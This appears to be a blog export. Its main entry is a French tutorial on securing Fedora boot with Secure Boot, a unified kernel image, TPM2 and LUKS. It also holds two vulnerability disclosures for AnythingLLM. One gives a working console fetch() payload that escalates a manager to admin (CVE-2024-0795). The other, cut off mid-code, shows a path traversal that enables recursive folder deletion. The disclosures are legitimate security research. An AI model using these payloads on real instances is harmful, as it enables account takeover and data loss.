[{"content":"Préambule Dans cet article je vais montrer comment setup une boot chain assez propre sur Fedora avec :\nSecure Boot activé mes propres clés Secure Boot avec sbctl les clés Microsoft gardées pour éviter de casser la compatibilité un UKI booté directement une UKI mesurée dans le TPM un disque LUKS unlock via TPM2 + PIN une policy PCR11 signée pour éviter de devoir refaire le setup à chaque update kernel En gros, si quelqu’un modifie l’UKI, change la cmdline, boot un autre kernel, ou casse la policy attendue, le TPM ne donne pas le secret et on retombe sur la passphrase/recovery key LUKS.\nPour la définition de certains termes c\u0026rsquo;est ici\nContexte ⚠️\nPetit disclaimer avant de continuer.\nDans ce setup, je garde les clés privées Secure Boot et la clé privée utilisée pour signer la PCR policy directement sur la machine. C’est pratique pour automatiser les mises à jour, reconstruire les UKI et signer les nouvelles mesures PCR11, mais ce n’est pas le modèle le plus propre niveau sécurité.\nDans l’idéal, les clés privées ne devraient pas rester stockées sur le PC qu’elles servent à protéger. Si quelqu’un compromet la machine avec assez de privilèges, il pourrait potentiellement récupérer ces clés ou les utiliser pour signer des binaires EFI / UKI, ou encore signer une nouvelle policy PCR autorisant un état de boot qu’on ne voulait pas autoriser.\nUne approche plus propre serait de stocker ces clés de signature sur un support matériel externe, par exemple une YubiKey ou un autre support matériel sécurisé compatible avec la signature cryptographique. L’objectif est que la clé privée ne quitte jamais ce support, et qu’elle soit utilisée uniquement au moment de signer une nouvelle UKI ou une nouvelle PCR policy.\nIl serait aussi possible d’aller plus loin en supprimant les clés Microsoft de la base Secure Boot, afin que seuls les binaires signés avec mes propres clés soient autorisés à booter. Je ne l’ai pas fait ici pour garder une compatibilité plus simple avec certains binaires EFI, mais c’est une option intéressante pour durcir encore la chaîne de boot.\nPour l’instant, je garde volontairement une approche plus simple et plus facile à reproduire, parce que le but de cet article est d’abord de comprendre et mettre en place la chaîne Secure Boot + UKI + TPM2 + LUKS.\nSi je me procure une YubiKey plus tard, je ferai sûrement un autre tuto dédié pour expliquer comment déplacer les clés de signature dessus et rendre le setup plus propre niveau OPSEC.\nAvant de rentrer dans les commandes, il faut comprendre pourquoi faire ce setup.\nLe but ici ce n’est pas juste d’activer Secure Boot pour avoir un joli SecureBoot enabled dans le terminal. Le vrai sujet, c’est la protection des données personnelles.\nLe problème classique, c’est le scénario “evil maid” : quelqu’un peut avoir accès à ton PC pendant que tu n’es pas là, modifier le bootloader, modifier l’initramfs, changer la ligne de commande kernel, ou préparer un boot piégé pour capturer ton mot de passe LUKS au prochain démarrage.\nDonc l’idée de ce setup, c’est d’avoir une chaîne de boot plus propre :\nSecure Boot vérifie que le binaire EFI lancé est bien signé. L’UKI permet d’avoir le kernel, l’initramfs et la cmdline dans un seul fichier EFI signé. Le TPM mesure l’état du boot dans des PCR. LUKS ne se déverrouille via le TPM que si l’état mesuré correspond à ce qu’on attend. Et on ajoute quand même un PIN TPM pour éviter qu’un simple boot automatique suffise. En gros, je veux que le disque ne se déverrouille pas juste parce que “c’est mon PC”. Je veux qu’il se déverrouille seulement si la machine boot dans un état connu, avec un firmware attendu, Secure Boot actif, une UKI signée, et une mesure TPM valide.\nCe n’est pas une sécurité magique. Si l’OS est déjà compromis pendant qu’il tourne, ce setup ne va pas sauver la session. Si quelqu’un connaît ta passphrase LUKS, pareil. Par contre, ça renforce énormément la partie “avant boot” et ça rend les attaques physiques beaucoup plus compliquées.\nRequirements J’étais sur Fedora avec :\n1 2 3 4 5 6 7 mokutil tpm2-tools sbsigntools openssl sbctl systemd-ukify dracut Installation des outils :\n1 2 sudo dnf install mokutil tpm2-tools sbsigntools openssl sudo dnf install systemd-ukify systemd-boot-unsigned dracut Pour sbctl, sur mon Fedora le paquet n’était pas dispo directement donc j’ai utilisé un COPR :\n1 2 sudo dnf copr enable chenxiaolong/sbctl sudo dnf install sbctl État de départ Déjà je check l’état de Secure Boot :\n1 2 3 4 mokutil --sb-state sudo sbctl status lsblk -f findmnt /boot /boot/efi /efi Chez moi, au début, j’étais en setup mode :\n1 2 SecureBoot disabled Platform is in Setup Mode Donc parfait, on peut enroll nos propres clés.\nMon disque était déjà en LUKS :\n1 2 nvme0n1p3 crypto_LUKS └─ luks-xxxx btrfs / Setup secure boot avec ses propres clés On crée les clés Secure Boot :\n1 sudo sbctl create-keys Ce qui donne :\n1 2 3 4 /var/lib/sbctl/keys ├── db ├── KEK └── PK Ensuite j’enroll mes clés + les clés Microsoft :\n1 sudo sbctl enroll-keys --microsoft Pourquoi garder Microsoft ?\nParce que sinon tu peux te retrouver à casser certains bootloaders, certaines options firmware, Windows Boot Manager, certains firmwares ou périphériques qui s’attendent encore aux clés Microsoft.\nAprès reboot :\n1 2 3 mokutil --sb-state sudo sbctl status cat /sys/kernel/security/lockdown Résultat attendu :\n1 2 3 4 SecureBoot enabled Setup Mode: Disabled Secure Boot: Enabled Vendor Keys: microsoft Le kernel passe aussi en lockdown mode :\n1 none [integrity] confidentiality Ici [integrity] veut dire que le mode lockdown actif est integrity.\nSigner les EFI Fedora Avant de passer à l’UKI, j’ai signé les binaires EFI classiques :\n1 2 3 4 5 6 sudo sbctl sign -s /boot/efi/EFI/fedora/shimx64.efi sudo sbctl sign -s /boot/efi/EFI/fedora/grubx64.efi sudo sbctl sign -s /boot/efi/EFI/fedora/mmx64.efi sudo sbctl sign -s /boot/efi/EFI/fedora/gcdx64.efi sudo sbctl sign -s /boot/efi/EFI/BOOT/BOOTX64.EFI sudo sbctl sign -s /boot/efi/EFI/BOOT/fbx64.efi Puis :\n1 sudo sbctl verify On peut voir les fichiers signés :\n1 2 3 ✓ /boot/efi/EFI/fedora/shimx64.efi is signed ✓ /boot/efi/EFI/fedora/grubx64.efi is signed ✓ /boot/efi/EFI/BOOT/BOOTX64.EFI is signed Il restait aussi des fichiers IA32, mais vu que ma machine boot en x64 je m’en fous un peu.\nCréation de l’UKI Maintenant on passe au truc intéressant : l’UKI.\nUne UKI, c’est une Unified Kernel Image. En gros au lieu d’avoir :\n1 shim -\u0026gt; grub -\u0026gt; kernel + initramfs + cmdline on va avoir un fichier .efi qui contient directement :\n1 systemd-stub + kernel + initramfs + cmdline + os-release + signatures PCR Donc le firmware boot directement un fichier EFI Linux.\nConfig de base :\n1 2 3 4 5 6 7 sudo tee /etc/kernel/uki.conf \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; [UKI] OSRelease=@/etc/os-release SecureBootPrivateKey=/var/lib/sbctl/keys/db/db.key SecureBootCertificate=/var/lib/sbctl/keys/db/db.pem PCRBanks=sha256 EOF Puis config de kernel-install :\n1 2 3 4 5 6 sudo tee /etc/kernel/install.conf \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; BOOT_ROOT=/boot/efi layout=uki uki_generator=ukify initrd_generator=dracut EOF On génère l’UKI pour le kernel actuel :\n1 sudo kernel-install -v add \u0026#34;$(uname -r)\u0026#34; \u0026#34;/lib/modules/$(uname -r)/vmlinuz\u0026#34; On check :\n1 sudo find /boot/efi/EFI/Linux -type f -name \u0026#34;*.efi\u0026#34; -print Chez moi ça a donné :\n1 /boot/efi/EFI/Linux/2355afaf4cf84361ae6a3596ee42a80f-6.19.14-300.fc44.x86_64.efi On vérifie la signature Secure Boot :\n1 2 UKI=\u0026#34;$(sudo find /boot/efi/EFI/Linux -type f -name \u0026#34;*.efi\u0026#34; | head -n1)\u0026#34; sudo sbverify --cert /var/lib/sbctl/keys/db/db.pem \u0026#34;$UKI\u0026#34; Résultat attendu :\n1 Signature verification OK Entry EFI pour booter l’UKI J’ai ensuite créé une entrée EFI directe :\n1 2 3 4 5 6 7 UKI=\u0026#34;/boot/efi/EFI/Linux/2355afaf4cf84361ae6a3596ee42a80f-6.19.14-300.fc44.x86_64.efi\u0026#34; sudo efibootmgr -c \\ -d /dev/nvme0n1 \\ -p 1 \\ -L \u0026#34;Fedora UKI 6.19.14\u0026#34; \\ -l \u0026#34;\\\\EFI\\\\Linux\\\\$(basename \u0026#34;$UKI\u0026#34;)\u0026#34; Puis check :\n1 sudo efibootmgr -v | grep -A3 -Ei \u0026#39;Fedora UKI|Fedora|Linux\u0026#39; Après reboot sur cette entrée :\n1 2 3 cat /proc/cmdline sudo tpm2_pcrread sha256:7,11,12 sudo bootctl status Là le point important c’est :\n1 2 3 Measured UKI: yes Current Stub: systemd-stub Stub: /EFI/Linux/... Donc on boot bien sur l’UKI et systemd-stub mesure l’UKI dans le TPM.\nAvoir une entrée stable linux.efi Le problème avec les UKI versionnées, c’est que le nom change à chaque kernel update.\nDonc j’ai fait un hook kernel-install qui copie toujours la dernière UKI vers :\n1 /boot/efi/EFI/Linux/linux.efi Comme ça mon entrée EFI reste stable.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 sudo tee /etc/kernel/install.d/99-copy-latest-uki.install \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/usr/bin/env bash set -euo pipefail COMMAND=\u0026#34;${1:-}\u0026#34; KERNEL_VERSION=\u0026#34;${2:-}\u0026#34; BOOT_ROOT=\u0026#34;${BOOT_ROOT:-/boot/efi}\u0026#34; MACHINE_ID=\u0026#34;$(cat /etc/machine-id)\u0026#34; UKI_DIR=\u0026#34;$BOOT_ROOT/EFI/Linux\u0026#34; SRC=\u0026#34;$UKI_DIR/${MACHINE_ID}-${KERNEL_VERSION}.efi\u0026#34; DST=\u0026#34;$UKI_DIR/linux.efi\u0026#34; case \u0026#34;$COMMAND\u0026#34; in add) if [[ -f \u0026#34;$SRC\u0026#34; ]]; then cp -f \u0026#34;$SRC\u0026#34; \u0026#34;$DST\u0026#34; echo \u0026#34;Copied latest UKI to $DST\u0026#34; else echo \u0026#34;UKI not found: $SRC\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi ;; remove) # Ne fait rien au remove pour éviter de supprimer le fallback stable. ;; esac EOF sudo chmod +x /etc/kernel/install.d/99-copy-latest-uki.install Puis :\n1 sudo kernel-install -v add \u0026#34;$(uname -r)\u0026#34; \u0026#34;/lib/modules/$(uname -r)/vmlinuz\u0026#34; On vérifie :\n1 2 sudo ls -lh /boot/efi/EFI/Linux/ sudo sbverify --cert /var/lib/sbctl/keys/db/db.pem /boot/efi/EFI/Linux/linux.efi Ensuite je crée une entrée EFI stable :\n1 2 3 4 5 sudo efibootmgr -c \\ -d /dev/nvme0n1 \\ -p 1 \\ -L \u0026#34;Fedora UKI stable\u0026#34; \\ -l \u0026#34;\\\\EFI\\\\Linux\\\\linux.efi\u0026#34; Puis je mets seulement cette entrée en boot order :\n1 sudo efibootmgr -o 0004 À adapter avec ton ID EFI évidemment.\nLUKS + TPM2 Au début j’ai tenté un truc simple :\n1 2 3 4 sudo systemd-cryptenroll /dev/nvme0n1p3 \\ --tpm2-device=auto \\ --tpm2-with-pin=yes \\ --tpm2-pcrs=7+11 Sauf que ce n’est pas pratique.\nPourquoi ?\nParce que PCR11 change dès que l’UKI change. Donc à chaque update kernel, ton TPM ne déverrouille plus LUKS.\nC’est logique mais chiant.\nCe qu’on veut, c’est :\n1 2 PCR7 direct PCR11 via signature En gros :\nPCR7 vérifie l’état Secure Boot / clés firmware PCR11 vérifie l’UKI, mais via une policy signée, donc les updates kernel restent possibles PCR signature pour éviter de casser à chaque update Pour ça, il faut une clé de signature PCR.\nJ’ai d’abord essayé RSA 4096. Mauvaise idée dans mon cas : mon TPM n’a pas aimé.\nEnsuite j’ai essayé EC prime256v1.\nÇa avait l’air plus propre, mais au boot j’avais :\n1 Esys_VerifySignature() Esys Finish ErrorCode (0x000002d2) En décodant :\n1 tpm2_rc_decode 0x000002d2 Résultat :\n1 tpm:parameter(2):unsupported or incompatible scheme Donc mon TPM annonçait bien ecdsa, mais il refusait le scheme exact utilisé ici par systemd/TPM pour VerifySignature.\nFinalement la solution qui marche chez moi : RSA 2048.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo rm -f /etc/systemd/tpm2-pcr-private-key-initrd.pem sudo rm -f /etc/systemd/tpm2-pcr-public-key-initrd.pem sudo openssl genpkey -algorithm RSA \\ -pkeyopt rsa_keygen_bits:2048 \\ -out /etc/systemd/tpm2-pcr-private-key-initrd.pem sudo openssl rsa \\ -in /etc/systemd/tpm2-pcr-private-key-initrd.pem \\ -pubout \\ -out /etc/systemd/tpm2-pcr-public-key-initrd.pem sudo chmod 600 /etc/systemd/tpm2-pcr-private-key-initrd.pem sudo chmod 644 /etc/systemd/tpm2-pcr-public-key-initrd.pem Vérification :\n1 2 3 4 sudo openssl rsa \\ -in /etc/systemd/tpm2-pcr-private-key-initrd.pem \\ -text -noout \\ | grep \u0026#39;Private-Key\u0026#39; Résultat :\n1 Private-Key: (2048 bit, 2 primes) Ajout de la PCR signature dans uki.conf Dans /etc/kernel/uki.conf, j’ai ajouté :\n1 2 3 [PCRSignature:initrd] PCRPrivateKey=/etc/systemd/tpm2-pcr-private-key-initrd.pem PCRPublicKey=/etc/systemd/tpm2-pcr-public-key-initrd.pem Chez moi le fichier final ressemble à ça :\n1 2 3 4 5 6 7 8 9 [UKI] OSRelease=@/etc/os-release SecureBootPrivateKey=/var/lib/sbctl/keys/db/db.key SecureBootCertificate=/var/lib/sbctl/keys/db/db.pem PCRBanks=sha256 [PCRSignature:initrd] PCRPrivateKey=/etc/systemd/tpm2-pcr-private-key-initrd.pem PCRPublicKey=/etc/systemd/tpm2-pcr-public-key-initrd.pem On régénère :\n1 sudo kernel-install -v add \u0026#34;$(uname -r)\u0026#34; \u0026#34;/lib/modules/$(uname -r)/vmlinuz\u0026#34; On check l’UKI :\n1 2 sudo ukify inspect /boot/efi/EFI/Linux/linux.efi \\ | grep -Ei \u0026#39;\\.pcrpkey|\\.pcrsig|pcrs|pkfp|pol|sig\u0026#39; -A10 -B4 On doit voir :\n1 2 3 .pcrpkey -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A... Enroll LUKS avec TPM2 + PIN + PCR7 + PCR11 signée Ajout d’une recovery key :\n1 sudo systemd-cryptenroll /dev/nvme0n1p3 --recovery-key Ensuite on wipe l’ancien token TPM :\n1 sudo systemd-cryptenroll /dev/nvme0n1p3 --wipe-slot=tpm2 Et on enroll le nouveau :\n1 2 3 4 5 6 sudo systemd-cryptenroll /dev/nvme0n1p3 \\ --tpm2-device=auto \\ --tpm2-with-pin=yes \\ --tpm2-pcrs=7 \\ --tpm2-public-key=/etc/systemd/tpm2-pcr-public-key-initrd.pem \\ --tpm2-public-key-pcrs=11 Ce que ça veut dire :\n1 --tpm2-pcrs=7 On bind directement sur PCR7, donc l’état Secure Boot / clés firmware.\n1 --tpm2-public-key-pcrs=11 On bind PCR11 via une policy signée. Donc PCR11 peut changer avec les updates kernel, tant que la nouvelle UKI contient une signature valide générée par notre clé PCR.\nVérification :\n1 2 3 4 sudo systemd-cryptenroll /dev/nvme0n1p3 sudo cryptsetup luksDump /dev/nvme0n1p3 \\ | sed -n \u0026#39;/Tokens:/,/Digests:/p\u0026#39; On veut voir :\n1 2 3 4 5 systemd-tpm2 tpm2-hash-pcrs: 7 tpm2-pubkey-pcrs: 11 tpm2-pin: true tpm2-primary-alg: rsa Résultat final Après reboot, j’ai :\n1 sudo bootctl status avec :\n1 2 3 4 5 Secure Boot: enabled TPM2 Support: yes Measured UKI: yes Current Stub: systemd-stub Stub: /EFI/Linux/linux.efi Et au boot :\n1 2 PIN TPM demandé pas de passphrase LUKS ensuite Donc le flow final est :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Firmware UEFI ↓ Secure Boot vérifie la signature de /EFI/Linux/linux.efi ↓ systemd-stub lance l’UKI ↓ systemd-stub mesure les sections de l’UKI dans PCR11 : kernel, initrd, os-release, cmdline intégrée, etc. ↓ systemd-cryptsetup demande le PIN TPM ↓ TPM vérifie : - PCR7 direct - PCR11 via signature .pcrsig + clé publique PCR - PIN TPM ↓ si tout matche : TPM libère le secret LUKS ↓ LUKS unlock ↓ Fedora boot Et si quelqu’un modifie linux.efi ? Cas 1 : modification bête du fichier.\n1 2 3 4 5 linux.efi modifié ↓ signature Secure Boot cassée ↓ UEFI refuse de booter Cas 2 : attaquant remplace par une autre UKI signée par une clé autorisée Secure Boot.\n1 2 3 4 5 6 7 Secure Boot accepte potentiellement ↓ PCR11 devient différent ↓ pas de .pcrsig valide avec ta clé PCR ↓ TPM refuse de libérer la clé LUKS Cas 3 : attaquant a aussi ta clé PCR privée.\n1 il peut signer une nouvelle policy PCR11 Là, il manque encore le PIN TPM, mais oui, la clé PCR privée devient très sensible.\nEst-ce que les updates kernel vont casser le setup ? Normalement non.\nC’est justement le but de la PCR11 signée.\nÀ chaque update kernel :\nkernel-install génère une nouvelle UKI ukify signe l’UKI Secure Boot ukify ajoute la .pcrsig mon hook copie la dernière UKI vers /boot/efi/EFI/Linux/linux.efi l’entrée EFI stable continue de booter linux.efi Donc je n’ai pas besoin de refaire systemd-cryptenroll à chaque update kernel.\nPar contre, si je change :\nles clés Secure Boot la clé PCR /etc/systemd/tpm2-pcr-*.pem la config /etc/kernel/uki.conf la cmdline kernel l’état Secure Boot dans le BIOS le TPM est reset ou certaines options firmware qui changent PCR7 là oui, je peux devoir rentrer la passphrase/recovery et refaire le token TPM.\nUpdate : rebuild automatique de l’UKI après certaines updates En fait, kernel-install est bien appelé automatiquement quand le paquet kernel-core est installé ou supprimé.\nOn peut le voir avec :\n1 rpm -q --scripts kernel-core kernel-modules kernel-modules-core Dans mon cas, kernel-core contient bien un truc du genre :\n1 /bin/kernel-install add 6.19.14-300.fc44.x86_64 /lib/modules/6.19.14-300.fc44.x86_64/vmlinuz Ça c’est OK.\nMais il y a un cas un peu plus relou : les updates de modules.\nPar exemple kernel-modules ne relance pas forcément kernel-install de base. Il peut juste faire :\n1 2 depmod -a \u0026lt;version\u0026gt; dracut -f --kver \u0026lt;version\u0026gt; /boot/initramfs-\u0026lt;version\u0026gt;.img Sauf que moi je ne boot pas vraiment sur /boot/initramfs-*.img.\nJe boot sur :\n1 /boot/efi/EFI/Linux/linux.efi Donc si Fedora régénère seulement l’initramfs classique, mais pas l’UKI, mon fichier réellement booté peut rester ancien.\nL’idée n’est pas de hooker dracut directement.\nMauvaise idée :\n1 2 3 4 5 6 7 dracut ↓ kernel-install ↓ dracut ↓ boucle / comportement sale Le point d’entrée propre reste kernel-install.\nDonc j’ai créé un petit script qui rebuild l’UKI du kernel courant :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 sudo tee /usr/local/sbin/rebuild-current-uki \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/usr/bin/env bash set -euo pipefail LOCK=\u0026#34;/run/rebuild-current-uki.lock\u0026#34; exec 9\u0026gt;\u0026#34;$LOCK\u0026#34; flock -n 9 || exit 0 log() { echo \u0026#34;[rebuild-current-uki] $*\u0026#34; } KVER=\u0026#34;${1:-$(uname -r)}\u0026#34; VMLINUZ=\u0026#34;/lib/modules/${KVER}/vmlinuz\u0026#34; if [[ ! -f \u0026#34;$VMLINUZ\u0026#34; ]]; then log \u0026#34;vmlinuz not found for $KVER: $VMLINUZ\u0026#34; exit 0 fi log \u0026#34;rebuilding UKI for $KVER\u0026#34; kernel-install -v add \u0026#34;$KVER\u0026#34; \u0026#34;$VMLINUZ\u0026#34; UKI=\u0026#34;/boot/efi/EFI/Linux/linux.efi\u0026#34; if [[ -f \u0026#34;$UKI\u0026#34; ]]; then log \u0026#34;UKI updated:\u0026#34; ls -lh \u0026#34;$UKI\u0026#34; if command -v ukify \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then log \u0026#34;PCR sections:\u0026#34; ukify inspect \u0026#34;$UKI\u0026#34; | grep -Ei \u0026#39;\\.pcrsig|\\.pcrpkey|pcr|signature\u0026#39; -A8 -B4 || true fi if command -v sbverify \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; [[ -f /var/lib/sbctl/keys/db/db.pem ]]; then log \u0026#34;Secure Boot signature check:\u0026#34; sbverify --cert /var/lib/sbctl/keys/db/db.pem \u0026#34;$UKI\u0026#34; || true fi else log \u0026#34;warning: expected UKI not found at $UKI\u0026#34; fi EOF sudo chmod +x /usr/local/sbin/rebuild-current-uki Le flock sert juste à éviter que le script parte plusieurs fois en parallèle si plusieurs hooks se déclenchent dans la même transaction.\nEnsuite j’installe le plugin DNF5 actions :\n1 sudo dnf install libdnf5-plugin-actions Puis j’ajoute une action post-transaction DNF5 :\n1 2 3 4 5 6 7 sudo tee /etc/dnf/libdnf5-plugins/actions.d/99-rebuild-uki.actions \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; post_transaction:kernel-modules*:in:enabled=1:/usr/local/sbin/rebuild-current-uki post_transaction:kernel-modules-core*:in:enabled=1:/usr/local/sbin/rebuild-current-uki post_transaction:akmod-*:in:enabled=1:/usr/local/sbin/rebuild-current-uki post_transaction:kmod-*:in:enabled=1:/usr/local/sbin/rebuild-current-uki post_transaction:zfs*:in:enabled=1:/usr/local/sbin/rebuild-current-uki EOF Pourquoi je n’ai pas mis kernel-core* ?\nParce que kernel-core appelle déjà kernel-install via les scriptlets RPM Fedora.\nLà je cible surtout les cas où des modules bougent :\n1 2 3 4 5 kernel-modules* kernel-modules-core* akmod-* kmod-* zfs* C’est peut-être un peu bourrin, mais je préfère ça plutôt qu’avoir un initramfs classique à jour et une UKI bootée qui ne l’est pas.\nPour tester, j’ai fait :\n1 sudo dnf reinstall \u0026#34;kernel-modules-$(uname -r)\u0026#34; D’abord le scriptlet Fedora de kernel-modules fait son truc :\n1 Running: dracut -f --kver 6.19.14-300.fc44.x86_64 /boot/initramfs-6.19.14-300.fc44.x86_64.img Puis mon action DNF déclenche le rebuild UKI :\n1 2 3 4 5 6 7 8 9 BOOT_ROOT (/boot/efi) set via config. layout=uki set via config INITRD_GENERATOR (dracut) set via config. UKI_GENERATOR (ukify) set via config. Using plugins: /usr/lib/kernel/install.d/50-dracut.install /usr/lib/kernel/install.d/60-ukify.install /etc/kernel/install.d/99-copy-latest-uki.install Maintenant le flow est plus propre :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 update kernel-core ↓ scriptlet Fedora ↓ kernel-install add ↓ UKI rebuild update kernel-modules / akmod / kmod / zfs ↓ DNF5 post_transaction ↓ rebuild-current-uki ↓ kernel-install add \u0026#34;$(uname -r)\u0026#34; ↓ UKI rebuild Il y a un petit défaut : dans certains cas ça peut faire deux dracut.\nPar exemple avec kernel-modules, Fedora peut déjà faire :\n1 dracut -f /boot/initramfs-... puis mon hook fait :\n1 2 3 4 5 kernel-install add ↓ dracut dans le staging kernel-install ↓ ukify Ce n’est pas très grave. C’est juste un peu plus long.\nLe point important pour moi, c’est que le fichier réellement booté reste cohérent :\n1 /boot/efi/EFI/Linux/linux.efi Et que ce fichier contient toujours une .pcrsig valide pour que le TPM puisse unlock LUKS après update.\nCommandes utiles de vérification Secure Boot :\n1 2 3 mokutil --sb-state sudo sbctl status sudo sbctl verify UKI :\n1 2 3 sudo bootctl status sudo sbverify --cert /var/lib/sbctl/keys/db/db.pem /boot/efi/EFI/Linux/linux.efi sudo ukify inspect /boot/efi/EFI/Linux/linux.efi TPM PCR :\n1 sudo tpm2_pcrread sha256:7,11,12,15 LUKS token :\n1 2 sudo systemd-cryptenroll /dev/nvme0n1p3 sudo cryptsetup luksDump /dev/nvme0n1p3 | sed -n \u0026#39;/Tokens:/,/Digests:/p\u0026#39; Test manuel du token TPM :\n1 2 3 4 5 6 sudo cryptsetup open \\ --test-passphrase \\ --token-only \\ --token-id 1 \\ --debug \\ /dev/nvme0n1p3 Les fichiers à backup Très important :\n1 2 sudo tar -C /var/lib/sbctl -czf ~/sbctl-keys-backup.tar.gz keys sudo chown \u0026#34;$USER:$USER\u0026#34; ~/sbctl-keys-backup.tar.gz À backup hors de la machine :\n1 2 3 4 5 /var/lib/sbctl/keys/ /etc/systemd/tpm2-pcr-private-key-initrd.pem /etc/systemd/tpm2-pcr-public-key-initrd.pem /etc/kernel/uki.conf /etc/kernel/cmdline Et évidemment garder la recovery key LUKS.\nDéfinitions Secure Boot Secure Boot est une fonctionnalité UEFI qui permet au firmware de vérifier la signature des binaires lancés au boot. En gros, le firmware ne lance pas n’importe quel fichier .efi : il vérifie d’abord si ce fichier est signé par une clé de confiance.\nUKI UKI veut dire Unified Kernel Image.\nNormalement, sur beaucoup de setups Linux, le boot ressemble à un truc du genre :\n1 2 3 4 5 firmware UEFI -\u0026gt; shim / GRUB / systemd-boot -\u0026gt; kernel -\u0026gt; initramfs -\u0026gt; cmdline kernel Avec une UKI, on regroupe tout dans un seul fichier EFI :\n1 systemd-stub + kernel + initramfs + cmdline + os-release + signatures PCR Donc au lieu d’avoir plein de morceaux séparés, on a un seul fichier .efi bootable, signé, et mesurable par le TPM. C’est plus propre pour Secure Boot, parce que la ligne de commande kernel et l’initramfs font partie de l’image signée.\nTPM2 Le TPM, pour Trusted Platform Module, est une puce de sécurité présente sur beaucoup de machines modernes. Elle peut stocker ou protéger des secrets, mais surtout elle peut les libérer seulement si certaines conditions sont respectées.\nDans ce setup, le TPM ne contient pas “la passphrase LUKS en clair”. Il protège un secret utilisé pour déverrouiller LUKS, et ce secret peut être lié à l’état de la machine au boot.\nDonc si l’état attendu change, par exemple Secure Boot désactivé, UKI modifiée, mauvais kernel, mauvaise cmdline, etc., le TPM peut refuser de libérer le secret.\nPCR PCR veut dire Platform Configuration Register.\nCe sont des registres du TPM qui contiennent des mesures de l’état de la machine. Ce ne sont pas des fichiers qu’on édite à la main. Ce sont plutôt des valeurs calculées progressivement pendant le boot.\nL’idée importante : si un élément mesuré change, la valeur du PCR change aussi.\nDans mon setup, les deux PCR importants sont surtout :\n1 2 PCR7 -\u0026gt; état Secure Boot / clés / politique firmware PCR11 -\u0026gt; mesures liées à l’UKI avec systemd-stub PCR7 permet de lier le déverrouillage à l’état Secure Boot. PCR11 permet de lier le déverrouillage à l’UKI bootée.\nPCR signature Le problème, c’est que PCR11 change quand l’UKI change. Et comme l’UKI change à chaque update kernel, un enroll TPM naïf sur PCR11 casserait le déverrouillage LUKS à chaque mise à jour.\nLa solution propre, c’est d’utiliser une PCR policy signée.\nAu lieu de dire au TPM :\n1 déverrouille seulement si PCR11 vaut exactement cette valeur on lui dit plutôt :\n1 déverrouille si la valeur PCR11 correspond à une mesure signée par ma clé de confiance Comme ça, on peut mettre à jour son kernel, générer une nouvelle UKI, signer les nouvelles mesures PCR, et garder un système maintenable.\nConclusion Au final le setup marche bien, mais le plus relou c’était clairement TPM2 + PCR signature.\nLe piège principal :\n1 2 EC P-256 avait l\u0026#39;air propre mais mon TPM refusait le scheme de signature Donc dans mon cas :\n1 2 3 RSA 4096 → pas bon EC P-256 → pas bon RSA 2048 → OK Maintenant j’ai une boot chain clean :\n1 2 3 4 5 6 7 8 Secure Boot custom keys + Microsoft UKI signée Measured UKI TPM2 + PIN LUKS unlock automatique (après avoir entré le PIN) PCR7 direct PCR11 signée updates kernel OK Et c’est exactement ce que je voulais.\n","date":"2026-05-05T00:00:00Z","image":"https://raltheo.fr/p/fedora-secure-boot-uki-tpm2-luks/pres_hu965c748d587d97aa08fccaa17e240ebf_1339032_120x120_fill_box_smart1_3.png","permalink":"https://raltheo.fr/p/fedora-secure-boot-uki-tpm2-luks/","title":"Fedora Secure Boot + UKI + TPM2 + LUKS"},{"content":"Improper input validation leads to arbitrary folder deletion (recursively) 🔒️ Requirements Multi-user mode activated Be manager 👀 Observation We can see in the ui the manager account cannot create / add / modify admin account however the protection is not present in the server.\n💥 Proof of Concept Here is the actual users :\nI will use raltheo2 account.\nI open chrome dev tools Inside the console I put : 1 fetch(\u0026#39;/api/admin/users/new\u0026#39;, {method: \u0026#39;POST\u0026#39;,headers: {\u0026#39;Authorization\u0026#39;: `Bearer ${localStorage.getItem(\u0026#39;anythingllm_authToken\u0026#39;)}`,\u0026#39;Content-Type\u0026#39;:\u0026#39;application/json\u0026#39;}, body: JSON.stringify({username: \u0026#39;supadmin9\u0026#39;, password: \u0026#39;password\u0026#39;, role: \u0026#39;admin\u0026#39;})}) This will create an administrator account named supadmin9 with password password\nNow login into your new admin account :)\n🛠️ Fix suggestion Separation should be made between admin and manager in server side as in the frontend.\n🖊️ références You can find the report here and the CVE details here.\n","date":"2024-03-02T00:00:00Z","image":"https://raltheo.fr/p/cve-2024-0795/wordmark_hu15409d1bca6fc9f80f058c0a56c85c49_8884_120x120_fill_box_smart1_3.png","permalink":"https://raltheo.fr/p/cve-2024-0795/","title":"CVE-2024-0795 - Improper acces control / admin account takeover"},{"content":"Improper input validation leads to arbitrary folder deletion (recursively) 🔒️ Requirements A standard user account (without any admin privilege)\n📝 Description Any user can delete an arbitraty folder (recursively) on remote server due to bad input sanitization leading to path traversal.\nThis function allows to delete an arbitrary folder (recursively) :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 async function purgeFolder(folderName) { if (folderName === \u0026#34;custom-documents\u0026#34;) return; const documentsFolder = process.env.NODE_ENV === \u0026#34;development\u0026#34; ? path.resolve(__dirname, `../../storage/documents`) : path.resolve(process.env.STORAGE_DIR, `documents`); const folderPath = path.resolve(documentsFolder, folderName); const filenames = fs .readdirSync(folderPath) .map((file) =\u0026gt; path.join(folderName, file)); const workspaces = await Workspace.where(); const purgePromises = []; // Remove associated Vector-cache files for (const filename of filenames) { const rmVectorCache = () 